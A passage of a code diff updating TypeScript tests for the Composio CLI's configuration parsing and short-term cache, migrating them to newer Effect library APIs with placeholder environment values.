290 - ENVIRONMENT: Option.some('staging'),
291 - BASE_URL: constants.STAGING_BASE_URL,
292 - WEB_URL: 'https://staging-dashboard.composio.dev/',
293 - LOG_LEVEL: Option.none(),
294 - ORG_ID: Option.none(),
295 - PROJECT_ID: Option.none(),
296 - DISABLE_CONNECTED_ACCOUNT_CACHE: true,
297 - })
298 - );
254 + const actual = yield* withMapConfigProvider(map)(Config.all(APP_CONFIG));
255 +
256 + deepStrictEqual(actual, {
257 + USER_API_KEY: Option.none(),
258 + ...NORMALIZED_APP_CONFIG_DEFAULTS,
259 + ENVIRONMENT: Option.some('staging'),
260 + BASE_URL: constants.STAGING_BASE_URL,
261 + WEB_URL: 'https://staging-dashboard.composio.dev/',
262 + LOG_LEVEL: Option.none(),
263 + ORG_ID: Option.none(),
264 + PROJECT_ID: Option.none(),
265 + DISABLE_CONNECTED_ACCOUNT_CACHE: true,
266 + });
267 })
268 );
269
@@ -308,24 +276,19 @@ describe('Config', () => {
276 ['COMPOSIO_BASE_URL', 'https://custom-backend.localhost'],
277 ]) satisfies Map<string, string>;
278
311 - const actual = yield* withMapConfigProvider(map)(
312 - Config.all(APP_CONFIG).pipe(Effect.andThen(Data.struct))
313 - );
314 -
315 - assertEquals(
316 - actual,
317 - Data.struct({
318 - USER_API_KEY: Option.none(),
319 - ...NORMALIZED_APP_CONFIG_DEFAULTS,
320 - ENVIRONMENT: Option.some('staging'),
321 - BASE_URL: 'https://custom-backend.localhost',
322 - WEB_URL: constants.STAGING_WEB_URL,
323 - LOG_LEVEL: Option.none(),
324 - ORG_ID: Option.none(),
325 - PROJECT_ID: Option.none(),
326 - DISABLE_CONNECTED_ACCOUNT_CACHE: true,
327 - })
328 - );
279 + const actual = yield* withMapConfigProvider(map)(Config.all(APP_CONFIG));
280 +
281 + deepStrictEqual(actual, {
282 + USER_API_KEY: Option.none(),
283 + ...NORMALIZED_APP_CONFIG_DEFAULTS,
284 + ENVIRONMENT: Option.some('staging'),
285 + BASE_URL: 'https://custom-backend.localhost',
286 + WEB_URL: constants.STAGING_WEB_URL,
287 + LOG_LEVEL: Option.none(),
288 + ORG_ID: Option.none(),
289 + PROJECT_ID: Option.none(),
290 + DISABLE_CONNECTED_ACCOUNT_CACHE: true,
291 + });
292 })
293 );
294
@@ -338,49 +301,39 @@ describe('Config', () => {
301 ['COMPOSIO_WEB_URL', 'https://custom-web.localhost'],
302 ]) satisfies Map<string, string>;
303
341 - const actual = yield* withMapConfigProvider(map)(
342 - Config.all(APP_CONFIG).pipe(Effect.andThen(Data.struct))
343 - );
344 -
345 - assertEquals(
346 - actual,
347 - Data.struct({
348 - USER_API_KEY: Option.none(),
349 - ...NORMALIZED_APP_CONFIG_DEFAULTS,
350 - ENVIRONMENT: Option.some('staging'),
351 - BASE_URL: constants.STAGING_BASE_URL,
352 - WEB_URL: 'https://custom-web.localhost',
353 - LOG_LEVEL: Option.none(),
354 - ORG_ID: Option.none(),
355 - PROJECT_ID: Option.none(),
356 - DISABLE_CONNECTED_ACCOUNT_CACHE: true,
357 - })
358 - );
359 - })
360 - );
361 -
362 - it.effect('[When] COMPOSIO_ENVIRONMENT is an unknown value', () =>
363 - Effect.gen(function* () {
364 - const map = new Map([['COMPOSIO_ENVIRONMENT', 'unknown']]) satisfies Map<string, string>;
304 + const actual = yield* withMapConfigProvider(map)(Config.all(APP_CONFIG));
305
366 - const actual = yield* withMapConfigProvider(map)(
367 - Config.all(APP_CONFIG).pipe(Effect.andThen(Data.struct))
368 - );
369 -
370 - assertEquals(
371 - actual,
372 - Data.struct({
306 + deepStrictEqual(actual, {
307 USER_API_KEY: Option.none(),
308 ...NORMALIZED_APP_CONFIG_DEFAULTS,
375 - ENVIRONMENT: Option.some('unknown'),
376 - BASE_URL: constants.DEFAULT_BASE_URL,
377 - WEB_URL: constants.DEFAULT_WEB_URL,
309 + ENVIRONMENT: Option.some('staging'),
310 + BASE_URL: constants.STAGING_BASE_URL,
311 + WEB_URL: 'https://custom-web.localhost',
312 LOG_LEVEL: Option.none(),
313 ORG_ID: Option.none(),
314 PROJECT_ID: Option.none(),
315 DISABLE_CONNECTED_ACCOUNT_CACHE: true,
382 - })
383 - );
316 + });
317 + })
318 + );
319 +
320 + it.effect('[When] COMPOSIO_ENVIRONMENT is an unknown value', () =>
321 + Effect.gen(function* () {
322 + const map = new Map([['COMPOSIO_ENVIRONMENT', 'unknown']]) satisfies Map<string, string>;
323 +
324 + const actual = yield* withMapConfigProvider(map)(Config.all(APP_CONFIG));
325 +
326 + deepStrictEqual(actual, {
327 + USER_API_KEY: Option.none(),
328 + ...NORMALIZED_APP_CONFIG_DEFAULTS,
329 + ENVIRONMENT: Option.some('unknown'),
330 + BASE_URL: constants.DEFAULT_BASE_URL,
331 + WEB_URL: constants.DEFAULT_WEB_URL,
332 + LOG_LEVEL: Option.none(),
333 + ORG_ID: Option.none(),
334 + PROJECT_ID: Option.none(),
335 + DISABLE_CONNECTED_ACCOUNT_CACHE: true,
336 + });
337 })
338 );
339 });
@@ -390,17 +343,12 @@ describe('Config', () => {
343 Effect.gen(function* () {
344 const map = new Map([]) satisfies Map<string, string>;
345
393 - const actual = yield* withMapConfigProvider(map)(
394 - Config.all(DEBUG_OVERRIDE_CONFIG).pipe(Effect.andThen(Data.struct))
395 - );
346 + const actual = yield* withMapConfigProvider(map)(Config.all(DEBUG_OVERRIDE_CONFIG));
347
397 - assertEquals(
398 - actual,
399 - Data.struct({
400 - UPGRADE_TARGET: Option.none(),
401 - VERSION: Option.none(),
402 - })
403 - );
348 + deepStrictEqual(actual, {
349 + UPGRADE_TARGET: Option.none(),
350 + VERSION: Option.none(),
351 + });
352 })
353 );
354
@@ -411,17 +359,12 @@ describe('Config', () => {
359 ['VERSION', 'x.x.x'],
360 ]) satisfies Map<string, string>;
361
414 - const actual = yield* withMapConfigProvider(map)(
415 - Config.all(DEBUG_OVERRIDE_CONFIG).pipe(Effect.andThen(Data.struct))
416 - );
362 + const actual = yield* withMapConfigProvider(map)(Config.all(DEBUG_OVERRIDE_CONFIG));
363
418 - assertEquals(
419 - actual,
420 - Data.struct({
421 - UPGRADE_TARGET: Option.none(),
422 - VERSION: Option.none(),
423 - })
424 - );
364 + deepStrictEqual(actual, {
365 + UPGRADE_TARGET: Option.none(),
366 + VERSION: Option.none(),
367 + });
368 })
369 );
370
@@ -434,17 +377,12 @@ describe('Config', () => {
377 ['COMPOSIO_VERSION', 'x.x.x'],
378 ]) satisfies Map<string, string>;
379
437 - const actual = yield* withMapConfigProvider(map)(
438 - Config.all(DEBUG_OVERRIDE_CONFIG).pipe(Effect.andThen(Data.struct))
439 - );
440 -
441 - assertEquals(
442 - actual,
443 - Data.struct({
444 - UPGRADE_TARGET: Option.none(),
445 - VERSION: Option.none(),
446 - })
447 - );
380 + const actual = yield* withMapConfigProvider(map)(Config.all(DEBUG_OVERRIDE_CONFIG));
381 +
382 + deepStrictEqual(actual, {
383 + UPGRADE_TARGET: Option.none(),
384 + VERSION: Option.none(),
385 + });
386 })
387 );
388 it.effect('[When] map entries are set with `DEBUG_OVERRIDE_` prefix', () =>
@@ -454,17 +392,12 @@ describe('Config', () => {
392 ['DEBUG_OVERRIDE_VERSION', 'x.x.x'],
393 ]) satisfies Map<string, string>;
394
457 - const actual = yield* withMapConfigProvider(map)(
458 - Config.all(DEBUG_OVERRIDE_CONFIG).pipe(Effect.andThen(Data.struct))
459 - );
395 + const actual = yield* withMapConfigProvider(map)(Config.all(DEBUG_OVERRIDE_CONFIG));
396
461 - assertEquals(
462 - actual,
463 - Data.struct({
464 - UPGRADE_TARGET: Option.some('upgrade_target'),
465 - VERSION: Option.some('x.x.x'),
466 - })
467 - );
397 + deepStrictEqual(actual, {
398 + UPGRADE_TARGET: Option.some('upgrade_target'),
399 + VERSION: Option.some('x.x.x'),
400 + });
401 })
402 );
403 });
@@ -472,8 +405,8 @@ describe('Config', () => {
405 describe('UNPREFIXED_CONFIG', () => {
406 it.effect('[Then] it normalizes unprefixed host values into runtime facts', () =>
407 Effect.gen(function* () {
475 - const provider = ConfigProvider.fromMap(
476 - new Map([
408 + const provider = ConfigProvider.fromEnvRecord(
409 + Object.fromEntries([
410 ['CACHE_DIR', ' /host/cache '],
411 ['npm_config_user_agent', 'pnpm/9.0.0 npm/? node/v22.0.0 darwin arm64'],
412 ['CI', ' TRUE '],
@@ -483,11 +416,10 @@ describe('Config', () => {
416 ['CLAUDE_FUTURE_MARKER', 'cli'],
417 ['COMPOSIO_CALLER_AGENT', 'Open-Claw'],
418 ['VITEST', 'off'],
486 - ]),
487 - { pathDelim: '_' }
419 + ])
420 );
421
490 - const actual = yield* provider.load(Config.all(UNPREFIXED_CONFIG));
422 + const actual = yield* Config.all(UNPREFIXED_CONFIG).parse(provider);
423
424 expect(actual).toEqual({
425 CACHE_DIR: '/host/cache',
@@ -509,17 +441,16 @@ describe('Config', () => {
441
442 it.effect('[Then] an explicit permission UI value overrides CI detection', () =>
443 Effect.gen(function* () {
512 - const provider = ConfigProvider.fromMap(
513 - new Map([
444 + const provider = ConfigProvider.fromEnvRecord(
445 + Object.fromEntries([
446 ['COMPOSIO_DISABLE_PERMISSION_UI', 'false'],
447 ['CI', 'true'],
448 ['VITEST', 'true'],
517 - ]),
518 - { pathDelim: '_' }
449 + ])
450 );
451
521 - assertEquals(
522 - yield* provider.load(UNPREFIXED_CONFIG.INTERACTIVE_PERMISSION_UI_DISABLED),
452 + deepStrictEqual(
453 + yield* UNPREFIXED_CONFIG.INTERACTIVE_PERMISSION_UI_DISABLED.parse(provider),
454 false
455 );
456 })
@@ -528,8 +459,9 @@ describe('Config', () => {
459 });
460
461 describe('[When] using `ConfigProvider.env`', () => {
531 - const withEnvConfigProvider = Effect.withConfigProvider(
532 - extendConfigProvider(ConfigProvider.fromEnv())
462 + const withEnvConfigProvider = Effect.provideService(
463 + ConfigProvider.ConfigProvider,
464 + extendConfigProvider(liveEnvConfigProvider)
465 );
466
467 // These cases assert what the config resolves from a clean environment,
@@ -560,24 +492,19 @@ describe('Config', () => {
492 describe('APP_CONFIG', () => {
493 it.effect('[When] no env variable is set', () =>
494 Effect.gen(function* () {
563 - const actual = yield* withEnvConfigProvider(
564 - Config.all(APP_CONFIG).pipe(Effect.andThen(Data.struct))
565 - );
566 -
567 - assertEquals(
568 - actual,
569 - Data.struct({
570 - USER_API_KEY: Option.none(),
571 - ...NORMALIZED_APP_CONFIG_DEFAULTS,
572 - ENVIRONMENT: Option.none(),
573 - BASE_URL: 'https://backend.composio.dev',
574 - WEB_URL: 'https://dashboard.composio.dev/',
575 - LOG_LEVEL: Option.none(),
576 - ORG_ID: Option.none(),
577 - PROJECT_ID: Option.none(),
578 - DISABLE_CONNECTED_ACCOUNT_CACHE: true,
579 - })
580 - );
495 + const actual = yield* withEnvConfigProvider(Config.all(APP_CONFIG));
496 +
497 + deepStrictEqual(actual, {
498 + USER_API_KEY: Option.none(),
499 + ...NORMALIZED_APP_CONFIG_DEFAULTS,
500 + ENVIRONMENT: Option.none(),
501 + BASE_URL: 'https://backend.composio.dev',
502 + WEB_URL: 'https://dashboard.composio.dev/',
503 + LOG_LEVEL: Option.none(),
504 + ORG_ID: Option.none(),
505 + PROJECT_ID: Option.none(),
506 + DISABLE_CONNECTED_ACCOUNT_CACHE: true,
507 + });
508 })
509 );
510
@@ -588,24 +515,19 @@ describe('Config', () => {
515 vi.stubEnv('CACHE_DIR', '~/.composio');
516 vi.stubEnv('LOG_LEVEL', 'info');
517
591 - const actual = yield* withEnvConfigProvider(
592 - Config.all(APP_CONFIG).pipe(Effect.andThen(Data.struct))
593 - );
594 -
595 - assertEquals(
596 - actual,
597 - Data.struct({
598 - USER_API_KEY: Option.none(),
599 - ...NORMALIZED_APP_CONFIG_DEFAULTS,
600 - ENVIRONMENT: Option.none(),
601 - BASE_URL: 'https://backend.composio.dev',
602 - WEB_URL: 'https://dashboard.composio.dev/',
603 - LOG_LEVEL: Option.none(),
604 - ORG_ID: Option.none(),
605 - PROJECT_ID: Option.none(),
606 - DISABLE_CONNECTED_ACCOUNT_CACHE: true,
607 - })
608 - );
518 + const actual = yield* withEnvConfigProvider(Config.all(APP_CONFIG));
519 +
520 + deepStrictEqual(actual, {
521 + USER_API_KEY: Option.none(),
522 + ...NORMALIZED_APP_CONFIG_DEFAULTS,
523 + ENVIRONMENT: Option.none(),
524 + BASE_URL: 'https://backend.composio.dev',
525 + WEB_URL: 'https://dashboard.composio.dev/',
526 + LOG_LEVEL: Option.none(),
527 + ORG_ID: Option.none(),
528 + PROJECT_ID: Option.none(),
529 + DISABLE_CONNECTED_ACCOUNT_CACHE: true,
530 + });
531 })
532 );
533
@@ -617,7 +539,7 @@ describe('Config', () => {
539 vi.stubEnv('COMPOSIO_CACHE_DIR', '~/.composio');
540 vi.stubEnv('COMPOSIO_SESSION_DIR', '/tmp/composio-sessions');
541 vi.stubEnv('COMPOSIO_BIN_DIR', '/usr/local/bin');
620 - vi.stubEnv('COMPOSIO_LOG_LEVEL', 'info');
542 + vi.stubEnv('COMPOSIO_LOG_LEVEL', 'Info');
543 vi.stubEnv('COMPOSIO_AGENTS_BASE_URL', 'https://agents.test.localhost');
544 vi.stubEnv('COMPOSIO_WEBHOOK_SECRET', 'secret');
545 vi.stubEnv('COMPOSIO_CLI_INVOCATION_ORIGIN', 'run');
@@ -627,34 +549,29 @@ describe('Config', () => {
549 vi.stubEnv('COMPOSIO_PERF_DEBUG', '1');
550 vi.stubEnv('COMPOSIO_TOOL_DEBUG', '1');
551
630 - const actual = yield* withEnvConfigProvider(
631 - Config.all(APP_CONFIG).pipe(Effect.andThen(Data.struct))
632 - );
633 -
634 - assertEquals(
635 - actual,
636 - Data.struct({
637 - USER_API_KEY: Option.some('api_key'),
638 - ENVIRONMENT: Option.none(),
639 - BASE_URL: 'https://test.localhost',
640 - WEB_URL: 'https://test.localhost',
641 - CACHE_DIR: '~/.composio',
642 - SESSION_DIR: '/tmp/composio-sessions',
643 - BIN_DIR: '/usr/local/bin',
644 - LOG_LEVEL: Option.some(LogLevel.Info),
645 - ORG_ID: Option.none(),
646 - PROJECT_ID: Option.none(),
647 - AGENTS_BASE_URL: 'https://agents.test.localhost',
648 - WEBHOOK_SECRET: 'secret',
649 - CLI_INVOCATION_ORIGIN: 'run',
650 - CLI_PARENT_RUN_ID: 'run_parent',
651 - RUN_ACP_ONLY: true,
652 - RUN_OUTPUT_DIR: '/tmp/composio-output',
653 - PERF_DEBUG: true,
654 - TOOL_DEBUG: true,
655 - DISABLE_CONNECTED_ACCOUNT_CACHE: true,
656 - })
657 - );
552 + const actual = yield* withEnvConfigProvider(Config.all(APP_CONFIG));
553 +
554 + deepStrictEqual(actual, {
555 + USER_API_KEY: Option.some('api_key'),
556 + ENVIRONMENT: Option.none(),
557 + BASE_URL: 'https://test.localhost',
558 + WEB_URL: 'https://test.localhost',
559 + CACHE_DIR: '~/.composio',
560 + SESSION_DIR: '/tmp/composio-sessions',
561 + BIN_DIR: '/usr/local/bin',
562 + LOG_LEVEL: Option.some('Info' as const),
563 + ORG_ID: Option.none(),
564 + PROJECT_ID: Option.none(),
565 + AGENTS_BASE_URL: 'https://agents.test.localhost',
566 + WEBHOOK_SECRET: 'secret',
567 + CLI_INVOCATION_ORIGIN: 'run',
568 + CLI_PARENT_RUN_ID: 'run_parent',
569 + RUN_ACP_ONLY: true,
570 + RUN_OUTPUT_DIR: '/tmp/composio-output',
571 + PERF_DEBUG: true,
572 + TOOL_DEBUG: true,
573 + DISABLE_CONNECTED_ACCOUNT_CACHE: true,
574 + });
575 })
576 );
577
@@ -662,24 +579,19 @@ describe('Config', () => {
579 Effect.gen(function* () {
580 vi.stubEnv('COMPOSIO_DISABLE_CONNECTED_ACCOUNT_CACHE', 'false');
581
665 - const actual = yield* withEnvConfigProvider(
666 - Config.all(APP_CONFIG).pipe(Effect.andThen(Data.struct))
667 - );
668 -
669 - assertEquals(
670 - actual,
671 - Data.struct({
672 - USER_API_KEY: Option.none(),
673 - ...NORMALIZED_APP_CONFIG_DEFAULTS,
674 - ENVIRONMENT: Option.none(),
675 - BASE_URL: 'https://backend.composio.dev',
676 - WEB_URL: 'https://dashboard.composio.dev/',
677 - LOG_LEVEL: Option.none(),
678 - ORG_ID: Option.none(),
679 - PROJECT_ID: Option.none(),
680 - DISABLE_CONNECTED_ACCOUNT_CACHE: false,
681 - })
682 - );
582 + const actual = yield* withEnvConfigProvider(Config.all(APP_CONFIG));
583 +
584 + deepStrictEqual(actual, {
585 + USER_API_KEY: Option.none(),
586 + ...NORMALIZED_APP_CONFIG_DEFAULTS,
587 + ENVIRONMENT: Option.none(),
588 + BASE_URL: 'https://backend.composio.dev',
589 + WEB_URL: 'https://dashboard.composio.dev/',
590 + LOG_LEVEL: Option.none(),
591 + ORG_ID: Option.none(),
592 + PROJECT_ID: Option.none(),
593 + DISABLE_CONNECTED_ACCOUNT_CACHE: false,
594 + });
595 })
596 );
597
@@ -687,24 +599,19 @@ describe('Config', () => {
599 Effect.gen(function* () {
600 vi.stubEnv('COMPOSIO_ENVIRONMENT', 'staging');
601
690 - const actual = yield* withEnvConfigProvider(
691 - Config.all(APP_CONFIG).pipe(Effect.andThen(Data.struct))
692 - );
693 -
694 - assertEquals(
695 - actual,
696 - Data.struct({
697 - USER_API_KEY: Option.none(),
698 - ...NORMALIZED_APP_CONFIG_DEFAULTS,
699 - ENVIRONMENT: Option.some('staging'),
700 - BASE_URL: constants.STAGING_BASE_URL,
701 - WEB_URL: 'https://staging-dashboard.composio.dev/',
702 - LOG_LEVEL: Option.none(),
703 - ORG_ID: Option.none(),
704 - PROJECT_ID: Option.none(),
705 - DISABLE_CONNECTED_ACCOUNT_CACHE: true,
706 - })
707 - );
602 + const actual = yield* withEnvConfigProvider(Config.all(APP_CONFIG));
603 +
604 + deepStrictEqual(actual, {
605 + USER_API_KEY: Option.none(),
606 + ...NORMALIZED_APP_CONFIG_DEFAULTS,
607 + ENVIRONMENT: Option.some('staging'),
608 + BASE_URL: constants.STAGING_BASE_URL,
609 + WEB_URL: 'https://staging-dashboard.composio.dev/',
610 + LOG_LEVEL: Option.none(),
611 + ORG_ID: Option.none(),
612 + PROJECT_ID: Option.none(),
613 + DISABLE_CONNECTED_ACCOUNT_CACHE: true,
614 + });
615 })
616 );
617
@@ -714,24 +621,19 @@ describe('Config', () => {
621 vi.stubEnv('COMPOSIO_BASE_URL', 'https://custom.localhost');
622 vi.stubEnv('COMPOSIO_WEB_URL', 'https://custom-web.localhost');
623
717 - const actual = yield* withEnvConfigProvider(
718 - Config.all(APP_CONFIG).pipe(Effect.andThen(Data.struct))
719 - );
720 -
721 - assertEquals(
722 - actual,
723 - Data.struct({
724 - USER_API_KEY: Option.none(),
725 - ...NORMALIZED_APP_CONFIG_DEFAULTS,
726 - ENVIRONMENT: Option.some('staging'),
727 - BASE_URL: 'https://custom.localhost',
728 - WEB_URL: 'https://custom-web.localhost',
729 - LOG_LEVEL: Option.none(),
730 - ORG_ID: Option.none(),
731 - PROJECT_ID: Option.none(),
732 - DISABLE_CONNECTED_ACCOUNT_CACHE: true,
733 - })
734 - );
624 + const actual = yield* withEnvConfigProvider(Config.all(APP_CONFIG));
625 +
626 + deepStrictEqual(actual, {
627 + USER_API_KEY: Option.none(),
628 + ...NORMALIZED_APP_CONFIG_DEFAULTS,
629 + ENVIRONMENT: Option.some('staging'),
630 + BASE_URL: 'https://custom.localhost',
631 + WEB_URL: 'https://custom-web.localhost',
632 + LOG_LEVEL: Option.none(),
633 + ORG_ID: Option.none(),
634 + PROJECT_ID: Option.none(),
635 + DISABLE_CONNECTED_ACCOUNT_CACHE: true,
636 + });
637 })
638 );
639 });
@@ -739,17 +641,12 @@ describe('Config', () => {
641 describe('DEBUG_OVERRIDE_CONFIG', () => {
642 it.effect('[When] no env variable is set', () =>
643 Effect.gen(function* () {
742 - const actual = yield* withEnvConfigProvider(
743 - Config.all(DEBUG_OVERRIDE_CONFIG).pipe(Effect.andThen(Data.struct))
744 - );
644 + const actual = yield* withEnvConfigProvider(Config.all(DEBUG_OVERRIDE_CONFIG));
645
746 - assertEquals(
747 - actual,
748 - Data.struct({
749 - UPGRADE_TARGET: Option.none(),
750 - VERSION: Option.none(),
751 - })
752 - );
646 + deepStrictEqual(actual, {
647 + UPGRADE_TARGET: Option.none(),
648 + VERSION: Option.none(),
649 + });
650 })
651 );
652
@@ -758,17 +655,12 @@ describe('Config', () => {
655 vi.stubEnv('UPGRADE_TARGET', 'upgrade_target');
656 vi.stubEnv('VERSION', 'x.x.x');
657
761 - const actual = yield* withEnvConfigProvider(
762 - Config.all(DEBUG_OVERRIDE_CONFIG).pipe(Effect.andThen(Data.struct))
763 - );
658 + const actual = yield* withEnvConfigProvider(Config.all(DEBUG_OVERRIDE_CONFIG));
659
765 - assertEquals(
766 - actual,
767 - Data.struct({
768 - UPGRADE_TARGET: Option.none(),
769 - VERSION: Option.none(),
770 - })
771 - );
660 + deepStrictEqual(actual, {
661 + UPGRADE_TARGET: Option.none(),
662 + VERSION: Option.none(),
663 + });
664 })
665 );
666
@@ -779,17 +671,12 @@ describe('Config', () => {
671 vi.stubEnv('COMPOSIO_UPGRADE_TARGET', 'upgrade_target');
672 vi.stubEnv('COMPOSIO_VERSION', 'x.x.x');
673
782 - const actual = yield* withEnvConfigProvider(
783 - Config.all(DEBUG_OVERRIDE_CONFIG).pipe(Effect.andThen(Data.struct))
784 - );
785 -
786 - assertEquals(
787 - actual,
788 - Data.struct({
789 - UPGRADE_TARGET: Option.none(),
790 - VERSION: Option.none(),
791 - })
792 - );
674 + const actual = yield* withEnvConfigProvider(Config.all(DEBUG_OVERRIDE_CONFIG));
675 +
676 + deepStrictEqual(actual, {
677 + UPGRADE_TARGET: Option.none(),
678 + VERSION: Option.none(),
679 + });
680 })
681 );
682
@@ -798,17 +685,12 @@ describe('Config', () => {
685 vi.stubEnv('DEBUG_OVERRIDE_UPGRADE_TARGET', 'upgrade_target');
686 vi.stubEnv('DEBUG_OVERRIDE_VERSION', 'x.x.x');
687
801 - const actual = yield* withEnvConfigProvider(
802 - Config.all(DEBUG_OVERRIDE_CONFIG).pipe(Effect.andThen(Data.struct))
803 - );
688 + const actual = yield* withEnvConfigProvider(Config.all(DEBUG_OVERRIDE_CONFIG));
689
805 - assertEquals(
806 - actual,
807 - Data.struct({
808 - UPGRADE_TARGET: Option.some('upgrade_target'),
809 - VERSION: Option.some('x.x.x'),
810 - })
811 - );
690 + deepStrictEqual(actual, {
691 + UPGRADE_TARGET: Option.some('upgrade_target'),
692 + VERSION: Option.some('x.x.x'),
693 + });
694 })
695 );
696 });
ts/packages/cli/test/src/services/consumer-short-term-cache.test.ts
+21 -21
@@ -1,6 +1,6 @@
1 import { describe, expect, layer } from '@effect/vitest';
2 import { vi, beforeEach, afterEach } from 'vitest';
3 -import * as FileSystem from '@effect/platform/FileSystem';
3 +import * as FileSystem from 'effect/FileSystem';
4 import { ConfigProvider, DateTime, Effect, Option } from 'effect';
5 import path from 'node:path';
6 import { setupCacheDir } from 'src/effects/setup-cache-dir';
@@ -16,13 +16,13 @@ import {
16 import { TestLive } from 'test/__utils__';
17
18 const makeTestConfigProvider = (entries: Array<[string, string]>) =>
19 - ConfigProvider.fromMap(
20 - new Map([
19 + ConfigProvider.fromEnv({
20 + env: Object.fromEntries([
21 ['COMPOSIO_USER_API_KEY', 'test_api_key'],
22 ['COMPOSIO_BASE_URL', 'https://backend.composio.dev'],
23 ...entries,
24 - ])
25 - ).pipe(extendConfigProvider);
24 + ]),
25 + }).pipe(extendConfigProvider);
26
27 const defaultTestConfigProvider = makeTestConfigProvider([]);
28 const cacheEnabledTestConfigProvider = makeTestConfigProvider([
@@ -49,7 +49,7 @@ describe('consumer short-term cache', () => {
49 layer(TestLive({ baseConfigProvider: defaultTestConfigProvider }))(
50 '[Given] the default cache config [Then] connected-account cache stays disabled',
51 it => {
52 - it.scoped('returns none even after a write is attempted', () =>
52 + it.effect('returns none even after a write is attempted', () =>
53 Effect.gen(function* () {
54 yield* writeConsumerConnectedToolkitsCache({
55 orgId: 'org_test',
@@ -83,8 +83,8 @@ describe('consumer short-term cache', () => {
83 meta: {
84 description: 'GitHub toolkit',
85 categories: [],
86 - created_at: DateTime.unsafeMake('2024-05-03T11:44:32.061Z'),
87 - updated_at: DateTime.unsafeMake('2024-05-03T11:44:32.061Z'),
86 + created_at: DateTime.makeUnsafe('2024-05-03T11:44:32.061Z'),
87 + updated_at: DateTime.makeUnsafe('2024-05-03T11:44:32.061Z'),
88 available_versions: [],
89 tools_count: 0,
90 triggers_count: 0,
@@ -100,8 +100,8 @@ describe('consumer short-term cache', () => {
100 meta: {
101 description: 'No-auth toolkit',
102 categories: [],
103 - created_at: DateTime.unsafeMake('2024-05-03T11:44:32.061Z'),
104 - updated_at: DateTime.unsafeMake('2024-05-03T11:44:32.061Z'),
103 + created_at: DateTime.makeUnsafe('2024-05-03T11:44:32.061Z'),
104 + updated_at: DateTime.makeUnsafe('2024-05-03T11:44:32.061Z'),
105 available_versions: [],
106 tools_count: 0,
107 triggers_count: 0,
@@ -111,7 +111,7 @@ describe('consumer short-term cache', () => {
111 },
112 })
113 )('[Given] no-auth toolkits [Then] refresh caches them as connected', it => {
114 - it.scoped('stores connected and no-auth toolkit slugs together', () =>
114 + it.effect('stores connected and no-auth toolkit slugs together', () =>
115 Effect.gen(function* () {
116 vi.spyOn(composioClients, 'getConsumerConnectedToolkits').mockReturnValue(
117 Effect.succeed({ toolkits: ['github'] })
@@ -147,8 +147,8 @@ describe('consumer short-term cache', () => {
147 meta: {
148 description: 'GitHub toolkit',
149 categories: [],
150 - created_at: DateTime.unsafeMake('2024-05-03T11:44:32.061Z'),
151 - updated_at: DateTime.unsafeMake('2024-05-03T11:44:32.061Z'),
150 + created_at: DateTime.makeUnsafe('2024-05-03T11:44:32.061Z'),
151 + updated_at: DateTime.makeUnsafe('2024-05-03T11:44:32.061Z'),
152 available_versions: [],
153 tools_count: 0,
154 triggers_count: 0,
@@ -164,8 +164,8 @@ describe('consumer short-term cache', () => {
164 meta: {
165 description: 'No-auth toolkit',
166 categories: [],
167 - created_at: DateTime.unsafeMake('2024-05-03T11:44:32.061Z'),
168 - updated_at: DateTime.unsafeMake('2024-05-03T11:44:32.061Z'),
167 + created_at: DateTime.makeUnsafe('2024-05-03T11:44:32.061Z'),
168 + updated_at: DateTime.makeUnsafe('2024-05-03T11:44:32.061Z'),
169 available_versions: [],
170 tools_count: 0,
171 triggers_count: 0,
@@ -175,7 +175,7 @@ describe('consumer short-term cache', () => {
175 },
176 })
177 )('[Given] a search cache write [Then] no-auth toolkits are preserved', it => {
178 - it.scoped('stores active and no-auth toolkit slugs together', () =>
178 + it.effect('stores active and no-auth toolkit slugs together', () =>
179 Effect.gen(function* () {
180 yield* writeConsumerConnectedToolkitsCache({
181 orgId: 'org_test',
@@ -196,7 +196,7 @@ describe('consumer short-term cache', () => {
196 layer(TestLive({ baseConfigProvider: cacheEnabledTestConfigProvider }))(
197 '[Given] a malformed persisted cache [Then] cache reads fail closed',
198 it => {
199 - it.scoped('ignores cache entries that do not match the persisted schema', () =>
199 + it.effect('ignores cache entries that do not match the persisted schema', () =>
200 Effect.gen(function* () {
201 const fs = yield* FileSystem.FileSystem;
202 const cacheDir = yield* setupCacheDir;
@@ -224,7 +224,7 @@ describe('consumer short-term cache', () => {
224 layer(TestLive({ baseConfigProvider: cacheEnabledTestConfigProvider }))(
225 '[Given] one corrupt entry among valid ones [Then] only the corrupt entry is dropped',
226 it => {
227 - it.scoped('keeps valid cache entries when a sibling entry is corrupt', () =>
227 + it.effect('keeps valid cache entries when a sibling entry is corrupt', () =>
228 Effect.gen(function* () {
229 const fs = yield* FileSystem.FileSystem;
230 const cacheDir = yield* setupCacheDir;
@@ -254,7 +254,7 @@ describe('consumer short-term cache', () => {
254 layer(TestLive({ baseConfigProvider: cacheEnabledTestConfigProvider }))(
255 '[Given] a full auth-config cache hit [Then] cache reads are toolkit-complete',
256 it => {
257 - it.scoped('returns cached auth configs when every requested toolkit is covered', () =>
257 + it.effect('returns cached auth configs when every requested toolkit is covered', () =>
258 Effect.gen(function* () {
259 yield* writeConsumerConnectedToolkitsCache({
260 orgId: 'org_test',
@@ -290,7 +290,7 @@ describe('consumer short-term cache', () => {
290 layer(TestLive({ baseConfigProvider: cacheEnabledTestConfigProvider }))(
291 '[Given] a partial auth-config cache hit [Then] cache read fails closed',
292 it => {
293 - it.scoped('returns none unless every requested toolkit has a cached auth config', () =>
293 + it.effect('returns none unless every requested toolkit has a cached auth config', () =>
294 Effect.gen(function* () {
295 yield* writeConsumerConnectedToolkitsCache({
296 orgId: 'org_test',
@@ -318,7 +318,7 @@ describe('consumer short-term cache', () => {
318 layer(TestLive({ baseConfigProvider: cacheEnabledTestConfigProvider }))(
319 '[Given] cached connected account metadata [Then] default mappings and summaries are readable',
320 it => {
321 - it.scoped('returns cached connected account selectors by toolkit', () =>
321 + it.effect('returns cached connected account selectors by toolkit', () =>
322 Effect.gen(function* () {
323 yield* writeConsumerConnectedToolkitsCache({
324 orgId: 'org_test',
ts/packages/cli/test/src/services/js-package-manager-detector.test.ts
+7 -7
@@ -1,6 +1,6 @@
1 import { describe, expect, layer } from '@effect/vitest';
2 import * as BunFileSystem from '@effect/platform-bun/BunFileSystem';
3 -import * as FileSystem from '@effect/platform/FileSystem';
3 +import * as FileSystem from 'effect/FileSystem';
4 import { Effect, Layer } from 'effect';
5 import * as tempy from 'tempy';
6 import { JsPackageManagerDetector } from 'src/services/js-package-manager-detector';
@@ -10,7 +10,7 @@ describe('JsPackageManagerDetector', () => {
